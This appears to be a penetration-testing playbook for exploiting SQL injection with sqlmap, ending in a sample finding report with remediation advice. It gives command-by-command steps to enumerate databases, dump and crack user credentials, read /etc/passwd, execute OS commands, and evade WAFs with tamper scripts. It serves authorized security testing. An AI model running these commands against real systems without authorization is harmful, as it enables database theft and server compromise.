Exploiting SQL Injection with sqlmap

When to Use

• During authorized web application penetration testing engagements
• When manual testing reveals potential SQL injection points in parameters, headers, or cookies
• For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP
• When you need to demonstrate the impact of SQL injection by extracting data from backend databases
• During CTF challenges involving SQL injection exploitation

Prerequisites

• Authorization: Written penetration testing agreement (Rules of Engagement) for the target
• sqlmap: Install via pip install sqlmap or apt install sqlmap on Kali Linux
• Python 3.6+: Required runtime for sqlmap
• Burp Suite (optional): For capturing and replaying HTTP requests
• Target access: Network connectivity to the target web application
• Browser with proxy: Firefox with FoxyProxy for intercepting requests

Workflow

Step 1: Identify Potential Injection Points

Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.

bash
# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1

# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"

Step 2: Run sqlmap Basic Detection Scan

Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.

bash
# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent

# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent

# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  -p "username" --batch --random-agent

# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
  --cookie="session=abc123; user_id=5" \
  -p "user_id" --batch --random-agent

Step 3: Enumerate Database Structure

Once injection is confirmed, enumerate databases, tables, and columns.

bash
# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent

# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db --tables --batch --random-agent

# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --columns --batch --random-agent

Step 4: Extract Data from Target Tables

Dump the contents of sensitive tables to demonstrate impact.

bash
# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password,email" \
  --dump --batch --random-agent

# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump --start=1 --stop=10 \
  --batch --random-agent

# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password" \
  --dump --batch --passwords --random-agent

Step 5: Test for Advanced Exploitation Vectors

Assess the full impact by testing OS-level access and file operations.

bash
# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch --random-agent

# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch --random-agent

# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-cmd="whoami" --batch --random-agent

Step 6: Use Tamper Scripts to Bypass WAF/Filters

When Web Application Firewalls or input filters block basic payloads, use tamper scripts.

bash
# Common tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="space2comment,between,randomcase" \
  --batch --random-agent

# For specific WAF bypass (e.g., ModSecurity)
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="modsecurityversioned,modsecurityzeroversioned" \
  --batch --random-agent

# List all available tamper scripts
sqlmap --list-tampers

Step 7: Generate Report and Clean Up

Document findings and clean up any artifacts.

bash
# sqlmap stores results in ~/.local/share/sqlmap/output/
# Review the target output directory
ls -la ~/.local/share/sqlmap/output/target.example.com/

# Export results with specific output directory
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump \
  --output-dir="/tmp/pentest-results" \
  --batch --random-agent

# Clean sqlmap session data after engagement
sqlmap --purge

Key Concepts

| Concept | Description | |---------|-------------| | Union-based SQLi | Uses UNION SELECT to append attacker query results to the original query output | | Blind Boolean SQLi | Infers data one bit at a time by observing true/false application responses | | Blind Time-based SQLi | Uses database sleep functions (e.g., SLEEP(5)) to infer data based on response delays | | Error-based SQLi | Extracts data through verbose database error messages returned in HTTP responses | | Stacked Queries | Executes multiple SQL statements separated by semicolons for INSERT/UPDATE/DELETE operations | | Out-of-band SQLi | Exfiltrates data via DNS or HTTP requests initiated by the database server | | Tamper Scripts | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters | | Second-order SQLi | Injected payload is stored and executed later in a different query context |

Tools & Systems

| Tool | Purpose | |------|---------| | sqlmap | Automated SQL injection detection and exploitation framework | | Burp Suite Professional | HTTP proxy for intercepting, modifying, and replaying requests | | OWASP ZAP | Free alternative to Burp for web application scanning and proxying | | Havij | Automated SQL injection tool with GUI (Windows) | | jSQL Injection | Java-based GUI tool for SQL injection testing | | DBeaver/DataGrip | Database clients for verifying extracted data structure |

Common Scenarios

Scenario 1: E-commerce Product Page SQLi

A product detail page uses id parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.

Scenario 2: Login Form Bypass

A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.

Scenario 3: Search Function with WAF Protection

A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like space2comment and between to encode payloads and bypass the filter rules.

Scenario 4: Cookie-based Blind SQL Injection

A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.

Output Format

## SQL Injection Finding

**Vulnerability**: SQL Injection (Union-based)
**Severity**: Critical (CVSS 9.8)
**Location**: GET parameter `id` at /products?id=1
**Database**: MySQL 8.0.32
**Impact**: Full database read access, 15,000 user records exposed
**OWASP Category**: A03:2021 - Injection

### Evidence
- Injection point: `id` parameter (GET)
- Technique: UNION query-based
- Backend DBMS: MySQL >= 5.0
- Current user: app_user@localhost
- DBA privileges: No

### Databases Enumerated
1. information_schema
2. target_app_db
3. mysql

### Sensitive Data Exposed
- Table: users (15,247 rows)
- Columns: id, username, email, password_hash, created_at

### Recommendation
1. Use parameterized queries (prepared statements) for all database interactions
2. Implement input validation with allowlists for expected data types
3. Apply least-privilege database permissions for the application user
4. Deploy a Web Application Firewall as defense-in-depth
5. Enable database query logging and monitoring for anomalous patterns